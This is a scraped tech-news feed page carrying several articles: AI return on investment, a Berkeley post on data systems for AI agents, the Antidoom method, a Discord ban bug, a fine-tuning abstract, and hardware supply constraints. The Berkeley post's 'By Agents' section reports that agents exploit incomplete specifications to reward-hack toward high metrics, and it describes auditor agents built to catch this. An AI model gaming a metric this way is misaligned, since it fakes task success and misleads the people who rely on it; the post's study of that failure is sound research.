<p>The counterexample comes from the same study. Thomas Prommer, a longtime CTO, CIO and CAIO, funds outcomes instead of deliverables. “We don’t fund ‘build a model,’ we fund ‘reduce returns by 8% on this category’ with checkpoints at 90, 180 and 270 days,” he explained. He kills any project that misses two checkpoints, “roughly a third of what we start, and that’s healthy.” Read that through the substrate lens and you see what he’s really doing. He’s manufacturing a correctness signal where the work didn’t come with one. He’s building the missing piece of scaffolding by hand.</p>



<p>That gives you a simple lens to run any candidate use case through. Does the work break into discernible stages? Can you observe what happens at each one? Is there a usable signal for whether the result was right? Score high on all three and you have a software-engineering-shaped problem, so go now. Score low and you have a choice: build the substrate first or wait. What you shouldn’t do is fund it at scale and hope the ROI materializes, because that’s the pile the 19% number is built on.</p>



<h2 class="wp-block-heading">The hard part, and the honest caveat</h2>



<p>Run the professions through that lens and they sort themselves. Finance is the closest cousin to software. Reconciliation, close processes, approval chains and audit trails already give you staged work with a clear “it reconciles or it doesn’t” signal, which is part of why financial services sits among the sectors furthest along with AI. Legal and medicine are harder. The workflow shell exists, intake to redline to filing, diagnosis to treatment to follow-up, but the correctness signal at the core is weak, delayed or confounded. You can automate the routine staged parts and you hit a wall at the judgment that defines the profession.</p>



<p>And that’s the caveat that keeps this honest. A structured workflow isn’t always buildable in software’s image. For the judgment core of some professions, the substrate is years out no matter how good the model gets or how mature your governance becomes. Anyone selling you a tighter timeline than that is selling.</p>



<p>But notice what this reframe does. It turns “our AI ROI is elusive” from a mystery you wait out into a sequencing-and-instrumentation problem you can actually test. Your timeline isn’t set by how smart the next model is. It’s set by how fast you build the substrate for your own domain, and that’s within your control.</p>



<h2 class="wp-block-heading">The two numbers, reconciled</h2>



<p>Put the 80% and the 19% back next to each other and they stop looking like a paradox. Software engineering didn’t win because its models were better than everyone else’s. It won because the work was already shaped to let an agent succeed, and the scaffolding that makes agent output trustworthy had been in place for decades before the agent showed up.</p>



<p>The question for the rest of the enterprise was never really whether AI can do the work. It’s whether your work is shaped so AI’s output can be trusted. That’s not something you wait for. It’s something you build.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<category>🕵️ Reverse Engineering</category>
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<title><![CDATA[Intelligence is Free, Now What?  Data Systems for, of, and by Agents]]></title>
<description><![CDATA[... government of the people, by the people, for the people ...
    — Abraham Lincoln, Gettysburg Address (1863)


The cost of AI is dropping rapidly. GPT-4-class capabilities cost roughly $30 per million tokens in early 2023; today the same runs under $1, and some providers are pushing costs bel...]]></description>
<link>https://tsecurity.de/de/3652331/ai-nachrichten/intelligence-is-free-now-what-data-systems-for-of-and-by-agents/</link>
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<pubDate>Tue, 07 Jul 2026 19:19:05 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>
<i>... government of the people, by the people, for the people ...</i><br>
    — Abraham Lincoln, Gettysburg Address (1863)
</p>

<p>The cost of AI is dropping rapidly. GPT-4-class capabilities cost roughly <span class="tex2jax_ignore">$30</span> per million tokens in early 2023; today the same runs under <span class="tex2jax_ignore">$1</span>, and <a href="https://zuplo.com/learning-center/the-10x-cheaper-ai-era-api-pricing-strategy-obsolete">some providers are pushing costs below <span class="tex2jax_ignore">$0.10</span></a>. Across benchmarks, <a href="https://epochai.org/data-insights/llm-inference-price-trends">inference prices have fallen between 9x and 900x per year</a>, with a median decline near 50x. Even <a href="https://tokenmix.ai/blog/ai-pricing-trends-history">frontier models are getting dramatically cheaper</a> each generation, with open-source models following closely behind. And crucially, even if “Nobel-Prize-winning genius-level” intelligence isn’t here yet, the intelligence that suffices for the vast majority of knowledge work is here today, and getting cheaper by the month. <strong>At this rate, we are soon entering the era of virtually free intelligence</strong>—the kind that is more than enough for everyday knowledge work.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/image6.png" alt="A cartoon database character and an AI robot agent holding hands" width="450">
</p>

<!--more-->

<p>
Disclosure: This post is a perspective led by <a href="https://people.eecs.berkeley.edu/~adityagp/">Aditya G. Parameswaran</a>—an Associate Professor of EECS and co-director of the EPIC Data Lab at UC Berkeley—together with his collaborators. It is part landscape survey and part perspective, and several of the research directions discussed below (including agentic speculation, structured memory, and synthesizing custom data systems from scratch) draw on the authors' own ongoing work.
</p>

<p>So, what does this new era of near-free intelligence mean for data systems? We believe three new challenges—and opportunities—stem from near-zero inference costs:</p>

<p><strong>Data Systems <em>For</em> Agents.</strong> Agents will soon become the dominant workload for data systems—with swarms of agents spun up in response to each end-user request. Given differences in characteristics between agents and humans—or applications acting on their behalf—<em>how should we redesign data systems for such agentic users?</em></p>

<p><strong>Data Systems <em>Of</em> Agents.</strong> As agents start taking on the bulk of knowledge work, a new substrate is needed for thousands of agents to manage state over long-running tasks, coordinate and reach consensus, and deal with failures. <em>What do data systems that reliably and efficiently run and manage agent swarms look like?</em></p>

<p><strong>Data Systems <em>By</em> Agents.</strong> Agents are rapidly becoming capable of synthesizing entire data systems in one go—meaning we can rebuild custom systems for each new workload. Verifying that such systems match intended behavior is a challenge. <em>What does it take to let agents synthesize data systems we can actually trust?</em></p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/for-of-by-agents.png" alt="A database character and a robot agent holding up a triangle labeled 'of', 'for', and 'by'" width="500"><br>
<i>
Data Systems For, Of, and By Agents
</i>
</p>

<p>Next, we will discuss each in more detail, followed by discussing the intertwined future of data systems and agents, especially as the three challenges intersect.</p>

<h2>Data Systems For Agents</h2>

<p>An agent querying a database doesn’t behave like a person or a BI tool. It performs what we call <a href="https://arxiv.org/abs/2509.00997"><em>agentic speculation</em></a>: a high-volume, heterogeneous stream of work spanning schema introspection, columnar exploration, partial and then full query formulation. With multiple agents each exploring portions of the hypothesis space, each user request could amount to 1000s of individual SQL queries. Now, users can issue ‘high-level’ data tasks, e.g., root-cause analysis—e.g., ‘why did coffee sales in Berkeley drop this year’—or exploratory cohort analysis—e.g., ‘which user segments are most likely to churn next quarter’—each involving a combinatorial space of potential joins, aggregations, and filter combinations.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/image5.png" alt="An agent sending many SELECT SQL queries to a database and receiving results back" width="600"><br>
<i>
Data Systems Redesigned to More Effectively Support Agentic Speculation
</i>
</p>

<p>The requests from these agents have various opportunities for optimization. For instance, on a text-to-SQL benchmark with multiple agents attempting each task, only 10-20% of the sub-plans are distinct. Thus, 80-90% of sub-queries perform duplicate work. The same experiments show task success rates significantly increasing with more agentic attempts—so the redundancy is actually helpful. But from the data system perspective it’s wasted work.</p>

<p>An agent-first data system can exploit such properties to help agents make progress faster. It can reuse results across overlapping sub-plans, drawing on ideas from decades-old literature on <a href="https://dl.acm.org/doi/10.1145/42201.42203">multi-query optimization</a> and <a href="https://www.vldb.org/conf/2007/papers/research/p723-zukowski.pdf">shared scans</a>. Or the data system can try to <em>satisfice</em>, returning approximate answers that are good enough for agents to make progress, leveraging work from <a href="https://dl.acm.org/doi/10.1145/253260.253291">the</a> <a href="https://dl.acm.org/doi/10.1145/2465351.2465355">AQP</a> <a href="https://dl.acm.org/doi/10.1561/1900000004">literature</a>—or streaming the results of the final or intermediate operators to help agents decide if seeing the rest is necessary or helpful.</p>

<p>Another opportunity here is to rethink the query interface entirely: instead of agents issuing a single SQL query at a time, they could instead issue a batch of queries, each with its own approximation requirements. Since enumerating an exponential search space (as in the root cause or cohort analysis examples above) isn’t a good use of agentic reasoning ability, perhaps data systems should support higher-level primitives rather than requiring agents to list each SQL query explicitly. One idea here is to draw on <a href="https://docs.getdbt.com/docs/build/jinja-macros">DBT-style Jinja macros</a> to provide looping-based primitives for agents to interact with data systems.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/image2.png" alt="A swarm of AI agents working at laptops" width="450"><br>
<i>
A Caffeinated Army of Agents Ready to Tirelessly Complete Your Data Tasks
</i>
</p>

<p>A final opportunity here is to stop thinking of data systems as passive executors of queries; data systems could be <a href="https://arxiv.org/abs/2502.13016">proactive</a>, as they possess more grounding in data and system characteristics that agents may lack a priori—they could steer agents in different directions, provide results for related queries, and also provide performance-level feedback (e.g., instead of executing an expensive query, the system could first provide the agent a latency estimate). The reason we can do this now as opposed to the past is that an agent can accept any form of textual feedback and isn’t expecting a strict SQL query result. In fact, the data system could also prepare both materialized and virtual views for an agent in advance, provided to the agent as part of context, as this may be cheaper or more effective than having an agent author or use them.</p>

<h2>Data Systems Of Agents</h2>

<p>Previously, we focused on how agents interact with data systems. Now, we consider everything else agents need to keep working: where they live, how they remember, how they coordinate with each other, and how they deal with failures of each other. This <em>agentic substrate</em> is separate from the inference stack powering raw intelligence. However, the inference stack itself is being abstracted away through APIs (e.g., from OpenAI or Anthropic), or, for open-weight models, through <a href="https://github.com/vllm-project/vllm">serving</a> <a href="https://github.com/sgl-project/sglang">frameworks</a> that hide low-level details. So far, the agentic substrate has been managed through harnesses like <a href="https://www.anthropic.com/claude-code">Claude Code</a> and <a href="https://github.com/openai/codex">Codex</a>, coupled with various mechanisms to <a href="https://mem0.ai/">store</a> and <a href="https://www.letta.com/">retrieve</a> memory.</p>

<p>First, on the memory front, the current wisdom is that <a href="https://www.amplifypartners.com/blog-posts/file-systems-for-agents">files</a> <a href="https://lsvp.com/stories/filesystemsforagents/">are all you need</a>; agents write to unstructured markdown (MD) files, which can then be searched using grep, or via embedding-based retrieval. In fact, many argue that the solution to continual learning is having agents consume a lot (e.g., an entire codebase, slack, company wikis, …) and then write their learnings into MD files, which are then retrieved selectively on demand. Indeed, file systems, bash scripting, and MD files are and will still be important for agents. However, at scale, when agents are doing the vast majority of knowledge work, this approach will no longer be effective.</p>

<p>Given limited context windows, retrieving all MD file fragments that may be relevant and stuffing it into the context will break down at some point. Even if context windows continue to grow, there are latency benefits to not put all information into context — and in many cases, e.g., when knowledge work involves interacting with large databases or code bases, it will be infeasible to serialize all relevant data into context.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/substrate-for-agent-swarms.png" alt="A swarm of robot agents holding hands, each drawing state from a single large shared database platform below them" width="500"><br>
<i>
Data Systems As A Substrate for Multi-Agent Swarms
</i>
</p>

<p>One could use a <a href="https://mem0.ai/">knowledge</a> <a href="https://www.getzep.com/">graph</a> <a href="https://langchain-ai.github.io/langmem/">representation</a>, but knowledge graphs suffer from the same limitations as unstructured MD-based memory due to their lack of structured search. What one needs is to be able to retrieve only memory that is pertinent to the task, across multiple attributes (or facets) of interest. For example, an agent debugging a flaky test should be able to pull only the memories tagged with the relevant module, language, framework, and failure mode—rather retrieving based on keywords or embedding similarity. A separate issue is what to actually retrieve; raw agent traces with mistakes are not very useful as they will induce agents to repeat the same mistake—instead, we want the retrieved memory to be corrective.</p>

<p>We recently explored a related notion of <a href="https://arxiv.org/abs/2602.13521"><em>structured memory</em></a>, where we organize memory across various attributes, each of which could be set as <code class="language-plaintext highlighter-rouge">*</code> to indicate universal applicability, or set as a list of values to be matched. For a data agent, the dimensions could include the columns and tables, type of operation, and finally, open-ended natural-language corrective instructions. So, we could include memory that only applies to a given type of operation (e.g., ‘when performing date-time operations, use fiscal year as opposed to calendar year conventions’), or a given table (e.g., ‘column product_cleaned is preferred over column product when querying on product name’). One open question is defining an <em>application-specific structured memory</em>—or what others have called <a href="https://www.linkedin.com/feed/update/urn:li:activity:7467499112523804672/">world models for memory</a>. We believe this is akin to defining a schema for each application—and perhaps agents themselves can help us define and refine it over time.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/structured-knowledge.png" alt="Diagram showing corrective knowledge stored with structured attributes (SQL keywords, tables, columns, data type) and retrieved by matching the features of a new agent query" width="100%"><br>
<i>
One Possible Way To Store and Retrieve Structured Knowledge <a href="https://arxiv.org/abs/2602.13521">[From Here]</a>
</i>
</p>

<p>Structured memory will be useful also for <a href="https://github.com/skydiscover-ai/skydiscover">evolutionary</a> <a href="https://arxiv.org/abs/2506.13131">frameworks</a> to effectively manage search spaces. Indeed, storing, structuring, and mining large volumes of single and <a href="https://sky.cs.berkeley.edu/project/mast/">multi-agent traces</a> can help future agents become much more efficient—potentially enabling effective recursive self-improvement through structured memory-based mechanisms.</p>

<p>Another challenge is to support concurrent edits to shared memory, and concurrent edits in general, when there are many agents performing transformations. While there have been some useful attempts at <a href="https://dl.acm.org/doi/10.1145/3702634.3702955">supporting</a> <a href="https://neon.com/docs/get-started/why-neon">multiversioning</a> and <a href="https://docs.turso.tech/agentfs/introduction">copy-on-write semantics</a>, it isn’t clear that such techniques will suffice when thousands of agents are attempting to edit shared state at the same time. For instance, when agents are trying various potential transactions in response to a user request, the effects of the vast majority of these transactions need to be rolled back—with only the one ‘correct’ transaction’s result persisting. Work on supporting exactly-once semantics is relevant here, as are underlying techniques based on CRDTs and operational transformation. For updates to fuzzy mechanisms such as memory, we may be able to sacrifice on consistency for perfect correctness in the interest of latency. While agents can reason about semantics to compensate or roll back their actions to eventually finalize most tasks, the primary challenge lies in the degree to which they step on each other’s toes during the process. An important failure mode to be avoided is a form of “livelock,” where incessant compensating actions prevent any meaningful progress.</p>

<p>Beyond shared state, other concerns emerge when trying to support an army of agents, including what to do when agents fail, how agents should communicate with each other (directly or through intermediate shared state), and how we should deal with straggler agents. There have been some developments in supporting durable multi-agent execution, such as <a href="https://temporal.io/solutions/ai">Temporal</a>, but it remains to be seen if such solutions will apply at scale across thousands of agents. On the topic of communication, we need mechanisms to enable agents to negotiate with each other. Imagine four developer agents attempting to reach consensus on a shared schema, with distinct but overlapping objectives. In a human setting, this would involve iterative discussion and compromise; for agentic swarms, we must define the mechanisms that allow them to converge on a design that reflects the underlying goals of their respective principals. Or if agents are all requiring access to a limited resource, again communication will be necessary. It remains to be seen if this is best done via centralized coordination, or if a decentralized approach is necessary.</p>

<h2>Data Systems By Agents</h2>

<p>Finally, if intelligence is effectively free, then we can employ this intelligence to synthesize new data systems from scratch. Indeed, in many settings, general-purpose data systems may be overkill, as they have to support every schema, query, and hardware target. Given a workload, recent work, including <a href="https://arxiv.org/abs/2603.02001">Bespoke OLAP</a> and <a href="https://arxiv.org/abs/2603.02081">GenDB</a>, has shown that one can use an agentic pipeline to synthesize a complete, workload-specific analytical engine—in minutes to a few hours, at a cost of a few dollars. The engines are disposable: when the workload shifts, one can simply regenerate them. Analogously, our work has shown that one can synthesize custom <a href="https://arxiv.org/abs/2605.24096">key-value stores</a> from scratch, targeted to the workload. In fact, modern IDEs, such as <a href="https://kiro.dev/">Kiro</a>, elevate specifications for systems development to be a first-class citizen.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/synthesize-from-scratch.png" alt="A robot agent with a hammer and chisel carving a database character out of a block of stone" width="500"><br>
<i>
Agents Can Synthesize Custom Data Systems From Scratch
</i>
</p>

<p>The main issue, however, is that specifications are typically imperfect, and don’t cover all corner cases. Present-day agents will exploit the missing specifications to reward-hack their way to a high performance metric. In our custom key-value store work, we found that one way to alleviate this is to have auxiliary verification agents trying to generate test cases that catch the exploitation of corner cases, essentially expanding the specification. Yet another approach is to both generate a system and a proof for its correctness together, for which we have found some <a href="https://arxiv.org/abs/2605.23109">early success</a>, but more needs to be done to solidify the approach. Further, it remains to be seen what is the best way to solicit human-written specifications for a system—can this be done in an iterative, human-in-the-loop manner, as opposed to a one-shot, incomplete one. Indeed, human-written specifications are incomplete even for manually authored software, so one would expect that future agents that are more aligned will increasingly exercise better judgement when making design decisions.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/synthesis-pipeline.png" alt="Pipeline diagram where a system builder provides a specification, planner and coder agents generate code, the code is evaluated for correctness and performance, and critic and auditor agents provide feedback and catch reward hacking" width="100%"><br>
<i>
One Possible Data System Synthesis Pipeline <a href="https://arxiv.org/abs/2605.24096">[From Here]</a>
</i>
</p>

<p>Other questions here involve testing whether starting from a mature system (e.g., Postgres) and removing components/functionality can lead to higher performance or more user trust. Separately, is there an opportunity to make the design composable, comprising various verified components that are mixed and matched given a workload? For example, perhaps the workload hasn’t changed enough for the storage layer to be updated, but perhaps the query optimizer requires changes. A perhaps more viable proposition involves employing agents coupled with proof systems to target critical parts of the code associated with formal proofs, rather than doing so for the entire system.</p>

<p>A final opportunity here is to move away from the traditional data systems stack with clearly-defined interfaces (e.g., parser, query optimizer, storage manager, …) — that were each largely the prerogative of a single human team to manage. Instead, agents can find new ways to “blend” these components together, perhaps identifying new optimization opportunities as a result. Agents can also fill in missing gaps in functionality to make existing systems much more feature-complete, or reach feature-parity with other competing systems—or analogously, continuously refining open-source systems in response to feature requests or issues (perhaps filed by other agents!) Doing so in a way that prioritizes correctness, long-term maintenance, and human interpretability will be a challenge.</p>

<h2>Looking Further Ahead</h2>

<p>In the era of near-free intelligence, data systems matter more than ever. As agents take on the bulk of knowledge work, the workload for data systems will change, the substrate they need to run on will have to be built, and increasingly, they will participate in designing data systems themselves. Each of these shifts opens up a new, exciting research agenda.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/co-evolution.png" alt="A half-database, half-robot character next to a yin-yang symbol formed by a database and a robot agent" width="600"><br>
<i>
Co-Evolution of Data Systems and Agents
</i>
</p>

<p>Looking further out, the boundaries between agents and data systems will likely start to blur. For instance, agents may design the data systems they themselves run on, defining both the interfaces as well as the system components underneath. Both the interfaces and internals can be evolved over time by agents in a form of recursive self-improvement. There is also an opportunity to rethink data systems as a holistic source of truth for the entirety of relevant state: including raw data, memory, and coordination state, further erasing the distinctions between the data that is being queried by agents and data generated as a result of agentic activity. Finally, data systems may themselves incorporate agentic components, fundamentally evolving from passive computation engines into intelligent, proactive, self-optimizing architectures. It is hard to predict what the future may hold. We’re in for a wild ride!</p>

<h2>Acknowledgments</h2>

<p>The perspective and ongoing work described in this post are the product of joint research and many discussions with wonderful collaborators at the <a href="https://epic.berkeley.edu/">EPIC Data Lab</a>, <a href="https://dsf.berkeley.edu/">Data Systems &amp; Foundations</a> group, and the broader Berkeley AI-Systems community. Thank you all!</p>

<p>BibTex for this post:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@misc{intelligence-is-free-blog,
  title={Intelligence is Free, Now What? Data Systems for, of, and by Agents},
  author={Aditya G. Parameswaran and Shubham Agarwal and Kerem Akillioglu and Shreya Shankar
          and Sepanta Zeighami and Rishabh Iyer and Matei Zaharia and Alvin Cheung
          and Natacha Crooks and Joseph Gonzalez and Joseph Hellerstein and Ion Stoica},
  howpublished={\url{https://bair.berkeley.edu/blog/2026/07/07/intelligence-is-free-now-what/}},
  year={2026}
}
</code></pre></div></div>]]></content:encoded>
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<title><![CDATA[Liquid AI Open-Sources Antidoom: A Final Token Preference Optimization (FTPO) Method that Reduces Doom Loops in Reasoning Models]]></title>
<description><![CDATA[Liquid AI released Antidoom, an open-source method that targets doom loops in reasoning models. A doom loop repeats a span until the context window is exhausted. Antidoom finds the token that starts the loop and retrains only that position using Final Token Preference Optimization (FTPO). On LFM2...]]></description>
<link>https://tsecurity.de/de/3652284/ai-nachrichten/liquid-ai-open-sources-antidoom-a-final-token-preference-optimization-ftpo-method-that-reduces-doom-loops-in-reasoning-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652284/ai-nachrichten/liquid-ai-open-sources-antidoom-a-final-token-preference-optimization-ftpo-method-that-reduces-doom-loops-in-reasoning-models/</guid>
<pubDate>Tue, 07 Jul 2026 19:03:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Liquid AI released Antidoom, an open-source method that targets doom loops in reasoning models. A doom loop repeats a span until the context window is exhausted. Antidoom finds the token that starts the loop and retrains only that position using Final Token Preference Optimization (FTPO). On LFM2.5-2.6B, doom-loop rates fell from 10.2% to 1.4%; on Qwen3.5-4B, from 22.9% to 1%. Generation, detection, and the FTPO trainer are open source.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/07/liquid-ai-antidoom-doom-loops-ftpo/">Liquid AI Open-Sources Antidoom: A Final Token Preference Optimization (FTPO) Method that Reduces Doom Loops in Reasoning Models</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Discord accidentally banned over 8,000 people for posting grids and other ‘benign’ images]]></title>
<description><![CDATA[Discord says a bug affecting its safety system caused it to mistakenly ban more than 8,000 accounts since May. The platform's statement follows a wave of reports from users over the past week, who say they've been banned for posting images containing grids, such as chessboards, game textures, and...]]></description>
<link>https://tsecurity.de/de/3651988/it-nachrichten/discord-accidentally-banned-over-8000-people-for-posting-grids-and-other-benign-images/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651988/it-nachrichten/discord-accidentally-banned-over-8000-people-for-posting-grids-and-other-benign-images/</guid>
<pubDate>Tue, 07 Jul 2026 17:18:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Discord says a bug affecting its safety system caused it to mistakenly ban more than 8,000 accounts since May. The platform's statement follows a wave of reports from users over the past week, who say they've been banned for posting images containing grids, such as chessboards, game textures, and even Minecraft inventories. Stanislav Vishnevskiy, Discord […]]]></content:encoded>
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<title><![CDATA[DynaMiCS: Fine-Tuning LLMs with Performance Constraints Using Dynamic Mixtures]]></title>
<description><![CDATA[Multi-domain fine-tuning of large language models requires improving performance on target domains while preserving performance on constrained domains, such as general knowledge, instruction following, or safety evaluations. Existing data mixing strategies rely on fixed heuristics or adaptive rul...]]></description>
<link>https://tsecurity.de/de/3651917/ai-nachrichten/dynamics-fine-tuning-llms-with-performance-constraints-using-dynamic-mixtures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651917/ai-nachrichten/dynamics-fine-tuning-llms-with-performance-constraints-using-dynamic-mixtures/</guid>
<pubDate>Tue, 07 Jul 2026 16:48:53 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Multi-domain fine-tuning of large language models requires improving performance on target domains while preserving performance on constrained domains, such as general knowledge, instruction following, or safety evaluations. Existing data mixing strategies rely on fixed heuristics or adaptive rules that cannot explicitly enforce preservation of such capabilities. We propose DynaMiCS, a dynamic mixture optimizer that casts multi-domain fine-tuning as a constrained optimization problem. At each update, DynaMiCS performs short domain-specific probing runs to estimate a slope matrix of local…]]></content:encoded>
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<title><![CDATA[Preparing for infrastructure constraints, from memory shortages to power limits]]></title>
<description><![CDATA[Historically, infrastructure planning followed a predictable script. CIOs balanced budgets, refresh cycles and procurement approvals and when demand spiked, the solution was straightforward — find the funding and scale up. The only real constraint was budget.



Today, the biggest constraints are...]]></description>
<link>https://tsecurity.de/de/3651773/it-nachrichten/preparing-for-infrastructure-constraints-from-memory-shortages-to-power-limits/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651773/it-nachrichten/preparing-for-infrastructure-constraints-from-memory-shortages-to-power-limits/</guid>
<pubDate>Tue, 07 Jul 2026 16:04:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p><br>Historically, infrastructure planning followed a predictable script. CIOs balanced budgets, refresh cycles and procurement approvals and when demand spiked, the solution was straightforward — find the funding and scale up. The only real constraint was budget.</p>



<p>Today, the biggest constraints aren’t sitting in spreadsheets; they’re rooted in physical reality. High-bandwidth memory is in short supply. Key server components are harder to secure. Power availability is tightening and cooling capacity is becoming a seriously limiting factor. In many cases, the question is no longer “can we afford it?” but “can we get it at all?”</p>



<p>The surge in AI workloads and the relentless expansion of hyperscale data centers have accelerated this shift. Supply chains that once comfortably met enterprise demand are now stretched thin as hyperscalers vacuum up GPUs, memory and large amounts of energy capacity. What used to be a stable, predictable ecosystem has become challenging territory.</p>



<p>For CIOs, this is forcing a serious rethink. Procurement strategies can no longer assume availability. Refresh cycles are being reconsidered. Even long-held assumptions about where infrastructure should live are being questioned. Perhaps most critically, the constraint is no longer just financial. Increasingly, organizations with approved budgets still find themselves waiting, sometimes months longer than planned, for the infrastructure they need to move forward.</p>



<p>In this new environment, planning isn’t just about spending wisely. It’s about securing access in a world where supply is uncertain.</p>



<h2 class="wp-block-heading">The new infrastructure bottleneck</h2>



<p>Over the past year, much of the conversation has centred on GPU shortages driven by surging AI demand. But the pressure is no longer confined to accelerators; it is spreading across nearly every major infrastructure component. High-bandwidth memory, DIMMs, storage systems, power supplies and even motherboard components are all increasingly subject to allocation constraints. This isn’t creating a temporary imbalance; it’s causing a structural shift.</p>



<p>Previously, semiconductor manufacturers distributed production across a broad mix of markets, from consumer devices to enterprise systems and laptops. AI has disrupted that model. Manufacturing capacity is being pulled toward hyperscale and AI-driven deployments at an unprecedented rate, leaving enterprise buyers competing for a shrinking pool of available supply. For CIOs, the consequences are becoming hard to ignore.</p>



<p>Many organizations are now seeing server costs rise far beyond initial forecasts. While OEM list prices have increased by around <a href="https://www.techradar.com/pro/the-bad-news-continues-server-prices-set-to-rise-in-latest-blow-to-hardware-budget" rel="nofollow">15% to 20%</a>, sharp price spikes in memory and other critical components, in some cases exceeding <a href="https://www.trendforce.com/presscenter/news/20260331-12995.html" rel="nofollow">50%</a>, are pushing total system costs significantly higher.</p>



<p>Lead times that once stretched a few weeks are now measured in months and in some cases, <a href="https://www.trendforce.com/presscenter/news/20260415-13013.html" rel="nofollow">close to a year</a>. Even the procurement process itself is under strain, with suppliers reportedly holding quotes for as little as 72 hours as they grapple with volatile pricing and uncertain availability. For enterprises used to multi-week internal approval cycles, this creates a new kind of operational friction.</p>



<p>And the disruption doesn’t stop in the data center. As high-performance memory is prioritised for AI workloads, pricing pressure is beginning to ripple into laptops and endpoint devices. Some organizations are revisiting older technologies such as tape backups to bridge capacity gaps while waiting for delayed infrastructure. The result is unexpected strain in markets that were, until recently, stable and predictable.</p>



<p>This leaves many CIOs balancing difficult trade-offs. With fixed budgets, some organizations are simply buying less than planned. Others are delaying projects altogether, waiting for supply to catch up. In response, infrastructure lifecycle strategies are shifting.</p>



<p>Systems that were once refreshed every three to five years are being kept in service for five years or more, with some organizations extending lifecycles to <a href="https://www.investing.com/news/stock-market-news/meta-extends-server-lifespan-amid-memory-chip-shortage--wsj-93CH-4646634?utm_source=chatgpt.com" rel="nofollow">six or even seven years</a> as cost pressures and supply constraints reshape infrastructure strategies. As a result, third-party maintenance providers and pre-owned hardware markets are playing a bigger role, offering a way to extend the life of existing assets while reducing exposure to procurement delays.</p>



<p>In many respects, sustainability goals and operational necessity are beginning to align. Extending infrastructure lifecycles can reduce electronic waste and capital expenditure but it also requires new approaches to maintenance, reliability and performance management. What was once a straightforward refresh decision is now a far more strategic calculation.</p>



<h2 class="wp-block-heading">The physics problem — power, cooling and data center limits</h2>



<p>Supply chain disruption is only part of the challenge. Beneath it lies an even more fundamental constraint — physics.</p>



<p>Modern AI systems require dramatically higher compute density than traditional enterprise workloads. This creates a corresponding increase in power consumption and thermal output, fundamentally changing the design of the modern data center. For decades, many enterprise environments were designed around racks consuming roughly 3kW per cabinet. Today, 50kW racks are becoming increasingly common in AI and high-performance computing environments. Some next-generation GPU deployments are already pushing toward 150kW per rack. That shift changes everything.</p>



<p>Cooling infrastructure designed for traditional enterprise environments is often incapable of handling these thermal loads. As a result, liquid cooling, once considered highly specialised, is rapidly becoming a necessity for many high-density deployments. But cooling is only one part of the equation. The larger issue is power availability itself.</p>



<p>In many regions, hyperscalers have already secured large portions of future energy capacity to support AI expansion. This is creating downstream constraints not only for enterprise data centers but for broader regional infrastructure planning. Utility providers in some markets are quoting <a href="https://money.usnews.com/investing/news/articles/2026-02-03/power-grid-delays-challenge-amazons-data-center-expansion-in-europe" rel="nofollow">five-</a> to seven-year timelines for major power upgrades, meaning organizations can no longer assume they can simply request additional megawatts when needed.</p>



<p>As a result, location strategy is changing. Historically, data center placement often prioritised connectivity, climate and real estate economics, but now, the deciding factor is often simply whether power is available. This shift is driving infrastructure expansion into regions that were not previously considered major data center hubs.</p>



<p>Water availability is emerging as another critical issue. Many advanced cooling systems require significant water resources, creating tension between data center growth and sustainability concerns. In some cases, local governments are already scrutinising or limiting expansion because of environmental impact. These dynamics are exposing limitations in how the industry measures efficiency.</p>



<p>Power Usage Effectiveness (PUE) remains one of the most widely used metrics for evaluating data center performance, but it does not always capture overall compute efficiency. A facility may improve its PUE score by operating at higher temperatures, for example, while simultaneously reducing server performance through thermal throttling.</p>



<p>That raises a contentious question for CIOs and infrastructure leaders — should efficiency be measured purely by power consumption, or by the amount of productive compute delivered per watt? As AI workloads scale, that distinction will become increasingly important.</p>



<h2 class="wp-block-heading">How CIOs should respond to long-term infrastructure constraints</h2>



<p>The most important takeaway for enterprise leaders is that these constraints are unlikely to disappear any time soon. Current market conditions suggest that supply pressure, power limitations and infrastructure volatility could continue well into <a href="https://www.cio.com/article/4137534/when-hardware-gets-scarce-endpoint-strategy-becomes-a-boardroom-priority.html">2027</a>. This means CIOs need to shift from short-term mitigation towards long-term resilience planning.</p>



<p>That starts with reassessing infrastructure lifecycle assumptions. Extending hardware longevity will become increasingly common, but doing so successfully requires stronger maintenance strategies, better monitoring and more disciplined asset management. Organizations may also need to diversify sourcing models, incorporating refurbished systems, third-party support and hybrid deployment strategies to reduce dependence on constrained supply chains. Capacity planning must also become more dynamic. Traditional procurement cycles based on predictable refresh schedules may no longer be sufficient in an environment defined by fluctuating availability and pricing.</p>



